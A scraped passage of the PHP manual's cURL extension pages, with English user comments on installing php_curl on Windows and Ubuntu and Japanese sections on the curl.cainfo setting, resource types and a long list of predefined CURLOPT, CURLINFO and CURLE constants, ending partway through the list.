Go to the ext directory of your php installation and copy php_curl.dll  to the Windows/system32 folder after you have followed the advise given elsewhere.

So ...
1) remove ';' from extension=php_curl.dll in php.ini
2) ensure that  ssleay32.dll and libeay32.dll are in Windows/system32.
3) Copy php_curl.dll into Windows\System32 as well.

G'day

bearstate
regs at voidship dot net 23-Sep-2008 09:45
If you're dense like I am, spare yourself the trouble on an Ubuntu system (probably Debian too) and...

$ sudo apt-get install php5-curl

Then feel dumb, but not as dumb as me.
cristianods at yahoo dot com 14-Aug-2008 06:53
Tip for Installing cURL with AppServ development server on Windows

If you are running AppServ as a WAMP development environment on a Windows machine, you may experience difficulty installing cURL. Here are some helpful steps:

First go to the PHP directory and copy the following libraries to the windows/system32 dir.
ssleay32.dll
libeay32.dll

Open the php ini file and remove the ; from extension=php_curl.dll

Reboot your machine to load [...]
comments at adstation-systems dot com 09-Aug-2008 08:23
You may be confused, as I was, by the instructions for installing cURL in php.  The instruction "To use PHP's cURL support you must also compile PHP --with-curl[=DIR]..." was murky to me, since I didn't compile php when I installed it.  I just copied all of the necessary files to the correct folders as described very clearly in the php manual.

I am using Windows XP and Apache with php 5.1.6. In this situation, and it may apply to php versions of 5.0 and later, all one needs to do is remove the ";" from the front of the directive extension=php_curl.dll.  You should also check to make certain that libeay32.dll and ssleay32.dll are in your php directory with the other dll's.  This directory should already be in you path, so the instruction to put them in you path is not critical.

You can then run phpinfo() and you should see a heading for curl in the listing.

Succinctly, my installation of cURL consisted of removing the semi-colon in front of the ;extension=php_curl.dll line in php.ini, saving php.ini and restarting Apache.  You may wish to try this if you are using php 5.0 and later and are having difficulty understanding the instructions on the cURL installation page at php.net

You might also find the information at http://curl.phptrack.com/forum/viewtopic.php?t=52 useful.


実行時設定

php.ini の設定により動作が変化します。

cURL 設定オプション
名前 | デフォルト | 変更可能 | 変更履歴
curl.cainfo | NULL | PHP_INI_SYSTEM | PHP 5.3.7 以降で利用可能
PHP_INI_* モードの詳細および定義については どこで設定を行うのか を参照してください。

以下に設定ディレクティブに関する 簡単な説明を示します。

curl.cainfo string

CURLOPT_CAINFO オプションのデフォルト値。 絶対パスで指定する必要があります。

User Contributed Notes

ajith at pavanathara dot com 04-Sep-2020 07:02
I was editing wrong php.ini file in last comment.

Even though loaded configuration path was showing as "D:\wamp64\bin\apache\apache2.4.37\bin\php.ini" inside phpinfo() of WAMP Server, It was actually loading "D:\wamp64\bin\apache\apache2.4.37\bin\phpForApache.ini"

Once I set both the variables inside phpForApache.ini, details are displayed in phpinfo() and error has gone without extra coding line.
ajith at pavanathara dot com 04-Sep-2020 05:36
cURL error 60: SSL certificate problem: unable to get local issuer certificate

This local development error comes when curl.cainfo variable is not set correctly.

I faced this issue in PHP Version 7.3.1

In order to fix the error, I downloaded cacert.pem from https://curl.haxx.se/docs/caextract.html

Set the following paths in php.ini

curl.cainfo="D:\wamp64\bin\php\php7.3.1\extras\ssl\cacert.pem"
openssl.cafile="D:\wamp64\bin\php\php7.3.1\extras\ssl\cacert.pem"

Even after adding the paths and restart Apache, Inside phpinfo(), both the paths were showing blank.

The error will go only if we set via php code of the project.

Example code worked for me :-

$guzzle = new \GuzzleHttp\Client(['verify' => 'D:\wamp64\bin\php\php7.3.1\extras\ssl\cacert.pem']);
ASchmidt at Anamera dot net 12-May-2019 10:34
As of PHP 7.2 (Win 64) this directive, will NOT show in the phpinfo() even though it's set.

(In comparison, an openssl.cafile directive will show, if it's set to the exact same path).


リソース型

この拡張モジュールで定義しているリソース型は cURL ハンドル、cURL マルチハンドル、cURL 共有ハンドルの3つです。

User Contributed Notes

There are no user contributed notes for this page.


定義済み定数

以下の定数が定義されています。 この関数の拡張モジュールが PHP 組み込みでコンパイルされているか、 実行時に動的にロードされている場合のみ使用可能です。

これらの定数についての説明や実際の使用法は、 curl_setopt() および curl_getinfo() のドキュメントを参照ください。

CURLOPT_AUTOREFERER (int)
PHP 5.1.0 以降で使用可能です。
CURLOPT_COOKIESESSION (int)
PHP 5.1.0 以降で使用可能です。
CURLOPT_DNS_USE_GLOBAL_CACHE (int)
CURLOPT_DNS_CACHE_TIMEOUT (int)
CURLOPT_FTP_SSL (int)
PHP 5.2.0 以降で使用可能です。
CURLFTP_CREATE_DIR (int)
PHP 7.0.7 および cURL 7.19.3 以降で使用可能です。
CURLFTP_CREATE_DIR_NONE (int)
PHP 7.0.7 および cURL 7.19.3 以降で使用可能です。
CURLFTP_CREATE_DIR_RETRY (int)
PHP 7.0.7 および cURL 7.19.3 以降で使用可能です。
CURLFTPSSL_TRY (int)
PHP 5.2.0 以降で使用可能です。
CURLFTPSSL_ALL (int)
PHP 5.2.0 以降で使用可能です。
CURLFTPSSL_CONTROL (int)
PHP 5.2.0 以降で使用可能です。
CURLFTPSSL_NONE (int)
PHP 5.2.0 以降で使用可能です。
CURLOPT_PRIVATE (int)
PHP 5.2.4 以降で使用可能です。
CURLOPT_FTPSSLAUTH (int)
PHP 5.1.0 以降で使用可能です。
CURLOPT_PORT (int)
CURLOPT_FILE (int)
CURLOPT_INFILE (int)
CURLOPT_INFILESIZE (int)
CURLOPT_URL (int)
CURLOPT_PROXY (int)
CURLOPT_VERBOSE (int)
CURLOPT_HEADER (int)
CURLOPT_HTTPHEADER (int)
CURLOPT_NOPROGRESS (int)
CURLOPT_NOBODY (int)
CURLOPT_FAILONERROR (int)
CURLOPT_UPLOAD (int)
CURLOPT_POST (int)
CURLOPT_FTPLISTONLY (int)
CURLOPT_FTPAPPEND (int)
CURLOPT_FTP_CREATE_MISSING_DIRS (int)
CURLOPT_NETRC (int)
CURLOPT_FOLLOWLOCATION (int)
open_basedir が有効な場合は、 この定数は使用できません。
CURLOPT_FTPASCII (int)
CURLOPT_PUT (int)
CURLOPT_MUTE (int)
CURLOPT_USERPWD (int)
CURLOPT_PROXYUSERPWD (int)
CURLOPT_RANGE (int)
CURLOPT_TIMEOUT (int)
CURLOPT_TIMEOUT_MS (int)
CURLOPT_TCP_NODELAY (int)
PHP 5.2.1 以降で使用可能です。
CURLOPT_POSTFIELDS (int)
CURLOPT_PROGRESSFUNCTION (int)
PHP 5.3.0 以降で使用可能です。
CURLOPT_REFERER (int)
CURLOPT_USERAGENT (int)
CURLOPT_FTPPORT (int)
CURLOPT_FTP_USE_EPSV (int)
CURLOPT_LOW_SPEED_LIMIT (int)
CURLOPT_LOW_SPEED_TIME (int)
CURLOPT_RESUME_FROM (int)
CURLOPT_COOKIE (int)
CURLOPT_COOKIELIST (int)
PHP 5.5.0 以降 および cURL 7.14.1 で利用可能。
CURLOPT_SSLCERT (int)
CURLOPT_SSLCERTPASSWD (int)
CURLOPT_WRITEHEADER (int)
CURLOPT_SSL_VERIFYHOST (int)
CURLOPT_COOKIEFILE (int)
CURLOPT_SSLVERSION (int)
CURL_SSLVERSION_DEFAULT (int)
CURL_SSLVERSION_TLSv1 (int)
CURL_SSLVERSION_SSLv2 (int)
CURL_SSLVERSION_SSLv3 (int)
CURL_SSLVERSION_TLSv1_0 (int)
PHP 5.5.19 および 5.6.3 以降で使用可能です。
CURL_SSLVERSION_TLSv1_1 (int)
PHP 5.5.19 および 5.6.3 以降で使用可能です。
CURL_SSLVERSION_TLSv1_2 (int)
PHP 5.5.19 および 5.6.3 以降で使用可能です。
CURLOPT_TIMECONDITION (int)
CURLOPT_TIMEVALUE (int)
CURLOPT_CUSTOMREQUEST (int)
CURLOPT_STDERR (int)
CURLOPT_TRANSFERTEXT (int)
CURLOPT_RETURNTRANSFER (int)
CURLOPT_QUOTE (int)
CURLOPT_POSTQUOTE (int)
CURLOPT_INTERFACE (int)
CURLOPT_KRB4LEVEL (int)
CURLOPT_HTTPPROXYTUNNEL (int)
CURLOPT_FILETIME (int)
CURLOPT_WRITEFUNCTION (int)
CURLOPT_READFUNCTION (int)
CURLOPT_PASSWDFUNCTION (int)
CURLOPT_HEADERFUNCTION (int)
CURLOPT_MAXREDIRS (int)
CURLOPT_MAXCONNECTS (int)
CURLOPT_CLOSEPOLICY (int)
PHP 5.6.0 で削除されました。
CURLOPT_FRESH_CONNECT (int)
CURLOPT_FORBID_REUSE (int)
CURLOPT_RANDOM_FILE (int)
CURLOPT_EGDSOCKET (int)
CURLOPT_CONNECTTIMEOUT (int)
CURLOPT_CONNECTTIMEOUT_MS (int)
CURLOPT_SSL_VERIFYPEER (int)
CURLOPT_CAINFO (int)
CURLOPT_CAPATH (int)
CURLOPT_COOKIEJAR (int)
CURLOPT_SSL_CIPHER_LIST (int)
CURLOPT_BINARYTRANSFER (int)
CURLOPT_NOSIGNAL (int)
CURLOPT_PROXYTYPE (int)
cURL 7.10 以降で使用可能です。
CURLOPT_BUFFERSIZE (int)
CURLOPT_HTTPGET (int)
CURLOPT_HTTP_VERSION (int)
CURLOPT_SSLKEY (int)
CURLOPT_SSLKEYTYPE (int)
CURLOPT_SSLKEYPASSWD (int)
CURLOPT_SSLENGINE (int)
CURLOPT_SSLENGINE_DEFAULT (int)
CURLOPT_SSLCERTTYPE (int)
CURLOPT_CRLF (int)
CURLOPT_ENCODING (int)
CURLOPT_PROXYPORT (int)
CURLOPT_UNRESTRICTED_AUTH (int)
CURLOPT_FTP_USE_EPRT (int)
CURLOPT_HTTP200ALIASES (int)
CURLOPT_HTTPAUTH (int)
CURLAUTH_BASIC (int)
CURLAUTH_DIGEST (int)
CURLAUTH_GSSNEGOTIATE (int)
CURLAUTH_NEGOTIATE (int)
PHP 7.0.7 および cURL 7.38.0 以降で使用可能です。
CURLAUTH_NTLM (int)
CURLAUTH_NTLM_WB (int)
PHP 7.0.7 および cURL 7.22.0 以降で使用可能です。
CURLAUTH_ANY (int)
CURLAUTH_ANYSAFE (int)
CURLOPT_PROXYAUTH (int)
CURLOPT_MAX_RECV_SPEED_LARGE (int)
PHP 5.4.0 および cURL 7.15.5 以降で使用可能です。
CURLOPT_MAX_SEND_SPEED_LARGE (int)
PHP 5.4.0 および cURL 7.15.5 以降で使用可能です。
CURLOPT_HEADEROPT (int)
PHP 7.0.7 および cURL 7.37.0 以降で使用可能です。
CURLOPT_PROXYHEADER (int)
PHP 7.0.7 および cURL 7.37.0 以降で使用可能です。
CURLCLOSEPOLICY_LEAST_RECENTLY_USED (int)
PHP 5.6.0 で削除されました。
CURLCLOSEPOLICY_LEAST_TRAFFIC (int)
PHP 5.6.0 で削除されました。
CURLCLOSEPOLICY_SLOWEST (int)
PHP 5.6.0 で削除されました。
CURLCLOSEPOLICY_CALLBACK (int)
PHP 5.6.0 で削除されました。
CURLCLOSEPOLICY_OLDEST (int)
PHP 5.6.0 で削除されました。
CURLINFO_PRIVATE (int)
PHP 5.2.4 以降で使用可能です。
CURLINFO_EFFECTIVE_URL (int)
CURLINFO_HTTP_CODE (int)
PHP 5.5.0 以降 および cURL 7.10.8 で利用可能。 これは、 CURLINFO_RESPONSE_CODE の古いエイリアスです。
CURLINFO_RESPONSE_CODE (int)
PHP 5.5.0 以降 および cURL 7.10.8 で利用可能。
CURLINFO_HEADER_OUT (int)
PHP 5.1.3 以降で使用可能です。
CURLINFO_HEADER_SIZE (int)
CURLINFO_REQUEST_SIZE (int)
CURLINFO_TOTAL_TIME (int)
CURLINFO_NAMELOOKUP_TIME (int)
CURLINFO_CONNECT_TIME (int)
CURLINFO_PRETRANSFER_TIME (int)
CURLINFO_SIZE_UPLOAD (int)
CURLINFO_SIZE_DOWNLOAD (int)
CURLINFO_SPEED_DOWNLOAD (int)
CURLINFO_SPEED_UPLOAD (int)
CURLINFO_FILETIME (int)
CURLINFO_SSL_VERIFYRESULT (int)
CURLINFO_CONTENT_LENGTH_DOWNLOAD (int)
CURLINFO_CONTENT_LENGTH_UPLOAD (int)
CURLINFO_STARTTRANSFER_TIME (int)
CURLINFO_CONTENT_TYPE (int)
CURLINFO_REDIRECT_TIME (int)
CURLINFO_REDIRECT_COUNT (int)
CURLINFO_REDIRECT_URL (string)
PHP 5.3.7 以降で使用可能です。
CURLINFO_PRIMARY_IP (string)
PHP 5.4.7 以降で使用可能です。
CURLINFO_PRIMARY_PORT (int)
PHP 5.4.7 以降で使用可能です。
CURLINFO_LOCAL_IP (string)
PHP 5.4.7 以降で使用可能です。
CURLINFO_LOCAL_PORT (int)
PHP 5.4.7 以降で使用可能です。
CURL_PUSH_OK (int)
PHP 7.1.0 および cURL 7.44.0 以降で使用可能です。
CURL_PUSH_DENY (int)
PHP 7.1.0 および cURL 7.44.0 以降で使用可能です。
CURL_REDIR_POST_301 (int)
PHP 7.0.7 および cURL 7.18.2 以降で使用可能です。
CURL_REDIR_POST_302 (int)
PHP 7.0.7 および cURL 7.18.2 以降で使用可能です。
CURL_REDIR_POST_303 (int)
PHP 7.0.7 および cURL 7.25.1 以降で使用可能です。
CURL_REDIR_POST_ALL (int)
PHP 7.0.7 および cURL 7.18.2 以降で使用可能です。
CURL_TIMECOND_IFMODSINCE (int)
CURL_TIMECOND_IFUNMODSINCE (int)
CURL_TIMECOND_LASTMOD (int)
CURL_VERSION_ALTSVC (int)
PHP 7.3.6 および cURL 7.64.1 以降で使用可能です。
CURL_VERSION_ASYNCHDNS (int)
PHP 7.3.0 および cURL 7.10.7 以降で使用可能です。
CURL_VERSION_BROTLI (int)
PHP 7.3.0 および cURL 7.57.0 以降で使用可能です。
CURL_VERSION_CONV (int)
PHP 7.3.0 および cURL 7.15.4 以降で使用可能です。
CURL_VERSION_CURLDEBUG (int)
PHP 7.3.6 および cURL 7.19.6 以降で使用可能です。
CURL_VERSION_DEBUG (int)
PHP 7.3.0 および cURL 7.10.6 以降で使用可能です。
CURL_VERSION_GSSAPI (int)
PHP 7.3.0 および cURL 7.38.0 以降で使用可能です。
CURL_VERSION_GSSNEGOTIATE (int)
PHP 7.3.0 および cURL 7.10.6 以降で使用可能です(7.38.0 以降では推奨されていません)。
CURL_VERSION_IDN (int)
PHP 7.3.0 および cURL 7.12.0 以降で使用可能です。
CURL_VERSION_MULTI_SSL (int)
PHP 7.3.0 および cURL 7.56.0 以降で使用可能です。
CURL_VERSION_NTLM (int)
PHP 7.3.0 および cURL 7.10.6 以降で使用可能です。
CURL_VERSION_NTLM_WB (int)
PHP 7.3.0 および cURL 7.22.0 以降で使用可能です。
CURL_VERSION_IPV6 (int)
CURL_VERSION_KERBEROS4 (int)
CURL_VERSION_KERBEROS5 (int)
PHP 7.0.7 および cURL 7.40.0 以降で使用可能です。
CURL_VERSION_HTTP2 (int)
PHP 5.5.24、PHP 5.6.8 および cURL 7.33.0 以降で使用可能です。
CURL_VERSION_PSL (int)
PHP 7.3.6 および cURL 7.47.0 以降で使用可能です。
CURL_VERSION_SPNEGO (int)
PHP 7.3.0 および cURL 7.10.8 以降で使用可能です。
CURL_VERSION_SSPI (int)
PHP 7.3.0 および cURL 7.13.2 以降で使用可能です。
CURL_VERSION_SSL (int)
CURL_VERSION_TLSAUTH_SRP (int)
PHP 7.3.0 および cURL 7.21.4 以降で使用可能です。
CURL_VERSION_UNIX_SOCKETS (int)
PHP 7.0.7 および cURL 7.40.0 以降で使用可能です。
CURL_VERSION_LIBZ (int)
CURLVERSION_NOW (int)
CURLE_OK (int)
CURLE_UNSUPPORTED_PROTOCOL (int)
CURLE_FAILED_INIT (int)
CURLE_URL_MALFORMAT (int)
CURLE_URL_MALFORMAT_USER (int)
CURLE_COULDNT_RESOLVE_PROXY (int)
CURLE_COULDNT_RESOLVE_HOST (int)
CURLE_COULDNT_CONNECT (int)
CURLE_FTP_WEIRD_SERVER_REPLY (int)
CURLE_FTP_ACCESS_DENIED (int)
CURLE_FTP_USER_PASSWORD_INCORRECT (int)
CURLE_FTP_WEIRD_PASS_REPLY (int)
CURLE_FTP_WEIRD_USER_REPLY (int)
CURLE_FTP_WEIRD_PASV_REPLY (int)
CURLE_FTP_WEIRD_227_FORMAT (int)
CURLE_FTP_CANT_GET_HOST (int)
CURLE_FTP_CANT_RECONNECT (int)
CURLE_FTP_COULDNT_SET_BINARY (int)
CURLE_PARTIAL_FILE (int)
CURLE_FTP_COULDNT_RETR_FILE (int)
CURLE_FTP_WRITE_ERROR (int)
CURLE_FTP_QUOTE_ERROR (int)
CURLE_HTTP_NOT_FOUND (int)
CURLE_WRITE_ERROR (int)
CURLE_MALFORMAT_USER (int)
CURLE_FTP_COULDNT_STOR_FILE (int)
CURLE_READ_ERROR (int)
CURLE_OUT_OF_MEMORY (int)
CURLE_OPERATION_TIMEOUTED (int)
CURLE_FTP_COULDNT_SET_ASCII (int)
CURLE_FTP_PORT_FAILED (int)
CURLE_FTP_COULDNT_USE_REST (int)
CURLE_FTP_COULDNT_GET_SIZE (int)
CURLE_HTTP_RANGE_ERROR (int)
CURLE_HTTP_POST_ERROR (int)
CURLE_SSL_CONNECT_ERROR (int)
CURLE_FTP_BAD_DOWNLOAD_RESUME (int)
CURLE_FILE_COULDNT_READ_FILE (int)
CURLE_LDAP_CANNOT_BIND (int)
CURLE_LDAP_SEARCH_FAILED (int)
CURLE_LIBRARY_NOT_FOUND (int)
CURLE_FUNCTION_NOT_FOUND (int)
CURLE_ABORTED_BY_CALLBACK (int)
CURLE_BAD_FUNCTION_ARGUMENT (int)
CURLE_BAD_CALLING_ORDER (int)
CURLE_HTTP_PORT_FAILED (int)
CURLE_BAD_PASSWORD_ENTERED (int)
CURLE_TOO_MANY_REDIRECTS (int)
CURLE_UNKNOWN_TELNET_OPTION (int)
CURLE_TELNET_OPTION_SYNTAX (int)
CURLE_OBSOLETE (int)
CURLE_SSL_PEER_CERTIFICATE (int)
CURLE_GOT_NOTHING (int)
CURLE_SSL_ENGINE_NOTFOUND (int)
CURLE_SSL_ENGINE_SETFAILED (int)
CURLE_SEND_ERROR (int)
CURLE_RECV_ERROR (int)
CURLE_SHARE_IN_USE (int)
CURLE_SSL_CERTPROBLEM (int)
CURLE_SSL_CIPHER (int)
CURLE_SSL_CACERT (int)
CURLE_BAD_CONTENT_ENCODING (int)
CURLE_LDAP_INVALID_URL (int)
CURLE_FILESIZE_EXCEEDED (int)
CURLE_FTP_SSL_FAILED (int)
CURLE_SSH (int)
PHP 5.3.0 および cURL 7.16.1 以降で使用可能です。
CURLFTPAUTH_DEFAULT (int)
PHP 5.1.0 以降で使用可能です。
CURLFTPAUTH_SSL (int)
PHP 5.1.0 以降で使用可能です。
CURLFTPAUTH_TLS (int)
PHP 5.1.0 以降で使用可能です。
CURLPROXY_HTTP (int)
cURL 7.10 以降で使用可能です。
CURLPROXY_HTTP_1_0 (int)
PHP 7.0.7 および cURL 7.19.3 以降で使用可能です。
CURLPROXY_SOCKS4 (int)
PHP 5.2.10 および cURL 7.10 以降で使用可能です。
CURLPROXY_SOCKS5 (int)
cURL 7.10 以降で使用可能です。
CURL_NETRC_OPTIONAL (int)
CURL_NETRC_IGNORED (int)
CURL_NETRC_REQUIRED (int)
CURL_HTTP_VERSION_NONE (int)
CURL_HTTP_VERSION_1_0 (int)
CURL_HTTP_VERSION_1_1 (int)
CURL_HTTP_VERSION_2 (int)
PHP 7.0.7 および cURL 7.43.0 以降で使用可能です。
CURL_HTTP_VERSION_2_0 (int)
PHP 5.5.24, 5.6.8 および cURL 7.33.0 以降で使用可能です。
CURL_HTTP_VERSION_2TLS (int)
PHP 7.0.7 および cURL 7.47.0 以降で使用可能です。
CURL_HTTP_VERSION_2_PRIOR_KNOWLEDGE (int)
PHP 7.0.7 および cURL 7.49.0 以降で使用可能です。
CURLM_CALL_MULTI_PERFORM (int)
CURLM_OK (int)
CURLM_BAD_HANDLE (int)
CURLM_BAD_EASY_HANDLE (int)
CURLM_OUT_OF_MEMORY (int)
CURLM_INTERNAL_ERROR (int)
CURLMSG_DONE (int)
CURLOPT_KEYPASSWD (int)
CURLOPT_SSH_AUTH_TYPES (int)
CURLOPT_SSH_HOST_PUBLIC_KEY_MD5 (int)
CURLOPT_SSH_PRIVATE_KEYFILE (int)
CURLOPT_SSH_PUBLIC_KEYFILE (int)
CURLOPT_SSL_OPTIONS (int)
PHP 5.5.0 および cURL 7.25.0 以降で使用可能です。
CURLSSLOPT_ALLOW_BEAST (int)
PHP 5.5.0 および cURL 7.25.0 以降で使用可能です。
CURLSSLOPT_NO_REVOKE (int)
PHP 7.0.7 および cURL 7.44.0 以降で使用可能です。
CURLOPT_USERNAME (int)
PHP 5.5.0 および cURL 7.19.1 以降で使用可能です。
CURLOPT_SASL_IR (int)
PHP 7.0.7 および cURL 7.31.0 以降で使用可能です。
CURLOPT_DNS_INTERFACE (int)
PHP 7.0.7 および cURL 7.33.0 以降で使用可能です。
CURLOPT_DNS_LOCAL_IP4 (int)
PHP 7.0.7 および cURL 7.33.0 以降で使用可能です。
CURLOPT_DNS_LOCAL_IP6 (int)
PHP 7.0.7 および cURL 7.33.0 以降で使用可能です。
CURLOPT_XOAUTH2_BEARER (int)
PHP 7.0.7 および cURL 7.33.0 以降で使用可能です。
CURLOPT_LOGIN_OPTIONS (int)
PHP 7.0.7 および cURL 7.34.0 以降で使用可能です。
CURLOPT_EXPECT_100_TIMEOUT_MS (int)
PHP 7.0.7 および cURL 7.36.0 以降で使用可能です。
CURLOPT_SSL_ENABLE_ALPN (int)
PHP 7.0.7 および cURL 7.36.0 以降で使用可能です。
CURLOPT_SSL_ENABLE_NPN (int)
PHP 7.0.7 および cURL 7.36.0 以降で使用可能です。
CURLOPT_PINNEDPUBLICKEY (int)
PHP 7.0.7 および cURL 7.39.0 以降で使用可能です。
CURLOPT_UNIX_SOCKET_PATH (int)
PHP 7.0.7 および cURL 7.40.0 以降で使用可能です。
CURLOPT_SSL_VERIFYSTATUS (int)
PHP 7.0.7 および cURL 7.41.0 以降で使用可能です。
CURLOPT_PATH_AS_IS (int)
PHP 7.0.7 および cURL 7.42.0 以降で使用可能です。
CURLOPT_SSL_FALSESTART (int)
PHP 7.0.7 および cURL 7.42.0 以降で使用可能です。
CURLOPT_PIPEWAIT (int)
PHP 7.0.7 および cURL 7.43.0 以降で使用可能です。
CURLOPT_PROXY_SERVICE_NAME (int)
PHP 7.0.7 および cURL 7.43.0 以降で使用可能です。
CURLOPT_SERVICE_NAME (int)
PHP 7.0.7 および cURL 7.43.0 以降で使用可能です。
CURLOPT_DEFAULT_PROTOCOL (int)
PHP 7.0.7 および cURL 7.45.0 以降で使用可能です。
CURLOPT_STREAM_WEIGHT (int)
PHP 7.0.7 および cURL 7.46.0 以降で使用可能です。
CURLOPT_TFTP_NO_OPTIONS (int)
PHP 7.0.7 および cURL 7.48.0 以降で使用可能です。
CURLOPT_CONNECT_TO (int)
PHP 7.0.7 および cURL 7.49.0 以降で使用可能です。
CURLOPT_TCP_FASTOPEN (int)
PHP 7.0.7 および cURL 7.49.0 以降で使用可能です。
CURLOPT_TCP_KEEPALIVE (int)
PHP 5.5.0 以降 および cURL 7.25.0 で利用可能。
CURLOPT_TCP_KEEPIDLE (int)
PHP 5.5.0 以降 および cURL 7.25.0 で利用可能。
CURLOPT_TCP_KEEPINTVL (int)
PHP 5.5.0 以降 および cURL 7.25.0 で利用可能。
CURLMOPT_PIPELINING (int)
PHP 5.5.0 および cURL 7.16.0 以降で使用可能です。
CURLMOPT_MAXCONNECTS (int)
PHP 5.5.0 および cURL 7.16.3 以降で使用可能です。
CURLMOPT_CHUNK_LENGTH_PENALTY_SIZE (int)
PHP 7.0.7 および cURL 7.30.0 以降で使用可能です。
CURLMOPT_CONTENT_LENGTH_PENALTY_SIZE (int)
PHP 7.0.7 および cURL 7.30.0 以降で使用可能です。
CURLMOPT_MAX_HOST_CONNECTIONS (int)
PHP 7.0.7 および cURL 7.30.0 以降で使用可能です。
CURLMOPT_MAX_PIPELINE_LENGTH (int)
PHP 7.0.7 および cURL 7.30.0 以降で使用可能です。
CURLMOPT_MAX_TOTAL_CONNECTIONS (int)
PHP 7.0.7 および cURL 7.30.0 以降で使用可能です。
CURLMOPT_PUSHFUNCTION (int)
PHP 7.1.0 および cURL 7.44.0 以降で使用可能です。
CURLSSH_AUTH_AGENT (int)
PHP 7.0.7 および cURL 7.28.0 以降で使用可能です。
CURLSSH_AUTH_ANY (int)
CURLSSH_AUTH_DEFAULT (int)
CURLSSH_AUTH_HOST (int)
CURLSSH_AUTH_KEYBOARD (int)
CURLSSH_AUTH_NONE (int)
CURLSSH_AUTH_PASSWORD (int)
CURLSSH_AUTH_PUBLICKEY (int)
CURL_WRAPPERS_ENABLED (int)
PHP の configure 時に --with-curlwrappers を指定しているかどうか。PHP 5.5.0 で PECL に移動しました。
CURLPAUSE_ALL (int)
PHP 5.5.0 および cURL 7.18.0 以降で使用可能です。
CURLPAUSE_CONT (int)
PHP 5.5.0 および cURL 7.18.0 以降で使用可能です。
CURLPAUSE_RECV (int)
PHP 5.5.0 および cURL 7.18.0 以降で使用可能です。
CURLPAUSE_RECV_CONT (int)
PHP 5.5.0 および cURL 7.18.0 以降で使用可能です。
CURLPAUSE_SEND (int)
PHP 5.5.0 および cURL 7.18.0 以降で使用可能です。
CURLPAUSE_SEND_CONT (int)
PHP 5.5.0 および cURL 7.18.0 以降で使用可能です。
CURLPIPE_NOTHING (int)
PHP 7.0.0 および cURL 7.43.0 以降で使用可能です。
CURLPIPE_HTTP1 (int)
PHP 7.0.0 および cURL 7.43.0 以降で使用可能です。
CURLPIPE_MULTIPLEX (int)
PHP 7.0.0 および cURL 7.43.0 以降で使用可能です。
CURLPROXY_SOCKS4A (int)
PHP 5.5.23 と PHP 5.6.7 および cURL 7.18.0 以降で使用可能です。
CURLPROXY_SOCKS5_HOSTNAME (int)
PHP 5.5.23 と PHP 5.6.7 および cURL 7.18.0 以降で使用可能です。
CURLHEADER_SEPARATE (int)
PHP 7.0.7 および cURL 7.37.0 以降で使用可能です。
CURLHEADER_UNIFIED (int)
PHP 7.0.7 および cURL 7.37.0 以降で使用可能です。
CURLPROTO_SMB (int)
PHP 7.0.7 および cURL 7.40.0 以降で使用可能です。
CURLPROTO_SMBS (int)
PHP 7.0.7 および cURL 7.40.0 以降で使用可能です。
CURLOPT_REQUEST_TARGET (int)
PHP 7.3.0 および cURL 7.55.0 以降で使用可能です。
CURLAUTH_GSSAPI (int)
PHP 7.3.0 および cURL 7.54.1 以降で使用可能です。
CURLE_WEIRD_SERVER_REPLY (int)
PHP 7.3.0 および cURL 7.51.0 以降で使用可能です。
CURLINFO_CONTENT_LENGTH_DOWNLOAD_T (int)
PHP 7.3.0 および cURL 7.55.0 以降で使用可能です。
CURLINFO_CONTENT_LENGTH_UPLOAD_T (int)
PHP 7.3.0 および cURL 7.55.0 以降で使用可能です。
CURLINFO_HTTP_VERSION (int)
PHP 7.3.0 および cURL 7.50.0 以降で使用可能です。
CURLINFO_PROTOCOL (int)
PHP 7.3.0 および cURL 7.52.0 以降で使用可能です。
CURLINFO_PROXY_SSL_VERIFYRESULT (int)
PHP 7.3.0 および cURL 7.52.0 以降で使用可能です。
CURLINFO_SCHEME (int)
PHP 7.3.0 および cURL 7.52.0 以降で使用可能です。
CURLINFO_SIZE_DOWNLOAD_T (int)
PHP 7.3.0 および cURL 7.50.0 以降で使用可能です。
CURLINFO_SIZE_UPLOAD_T (int)
PHP 7.3.0 および cURL 7.50.0 以降で使用可能です。
CURLINFO_SPEED_DOWNLOAD_T (int)
PHP 7.3.0 および cURL 7.50.0 以降で使用可能です。
CURLINFO_SPEED_UPLOAD_T (int)
PHP 7.3.0 および cURL 7.50.0 以降で使用可能です。
CURL_MAX_READ_SIZE (int)
PHP 7.3.0 および cURL 7.53.0 以降で使用可能です。
CURLOPT_ABSTRACT_UNIX_SOCKET (int)
PHP 7.3.0 および cURL 7.53.0 以降で使用可能です。
CURLOPT_KEEP_SENDING_ON_ERROR (int)
PHP 7.3.0 および cURL 7.51.0 以降で使用可能です。
CURLOPT_PRE_PROXY (int)
PHP 7.3.0 および cURL 7.52.0 以降で使用可能です。
CURLOPT_PROXY_CAINFO (int)
PHP 7.3.0 および cURL 7.52.0 以降で使用可能です。
CURLOPT_PROXY_CAPATH (int)
PHP 7.3.0 および cURL 7.52.0 以降で使用可能です。
CURLOPT_PROXY_CRLFILE (int)
PHP 7.3.0 および cURL 7.52.0 以降で使用可能です。
CURLOPT_PROXY_KEYPASSWD (int)
PHP 7.3.0 および cURL 7.52.0 以降で使用可能です。
CURLOPT_PROXY_PINNEDPUBLICKEY (int)
PHP 7.3.0 および cURL 7.52.0 以降で使用可能です。
CURLOPT_PROXY_SSLCERT (int)
PHP 7.3.0 および cURL 7.52.0 以降で使用可能です。
CURLOPT_PROXY_SSLCERTTYPE (int)
PHP 7.3.0 および cURL 7.52.0 以降で使用可能です。
CURLOPT_PROXY_SSL_CIPHER_LIST (int)
PHP 7.3.0 および cURL 7.52.0 以降で使用可能です。
CURLOPT_PROXY_SSLKEY (int)
PHP 7.3.0 および cURL 7.52.0 以降で使用可能です。
CURLOPT_PROXY_SSLKEYTYPE (int)
PHP 7.3.0 および cURL 7.52.0 以降で使用可能です。
CURLOPT_PROXY_SSL_OPTIONS (int)
PHP 7.3.0 および cURL 7.52.0 以降で使用可能です。
CURLOPT_PROXY_SSL_VERIFYHOST (int)
PHP 7.3.0 および cURL 7.52.0 以降で使用可能です。
CURLOPT_PROXY_SSL_VERIFYPEER (int)
PHP 7.3.0 および cURL 7.52.0 以降で使用可能です。
CURLOPT_PROXY_SSLVERSION (int)
PHP 7.3.0 および cURL 7.52.0 以降で使用可能です。
CURLOPT_PROXY_TLSAUTH_PASSWORD (int)
PHP 7.3.0 および cURL 7.52.0 以降で使用可能です。
CURLOPT_PROXY_TLSAUTH_TYPE (int)
PHP 7.3.0 および cURL 7.52.0 以降で使用可能です。
CURLOPT_PROXY_TLSAUTH_USERNAME (int)
PHP 7.3.0 および cURL 7.52.0 以降で使用可能です。
CURLOPT_SOCKS5_AUTH (int)
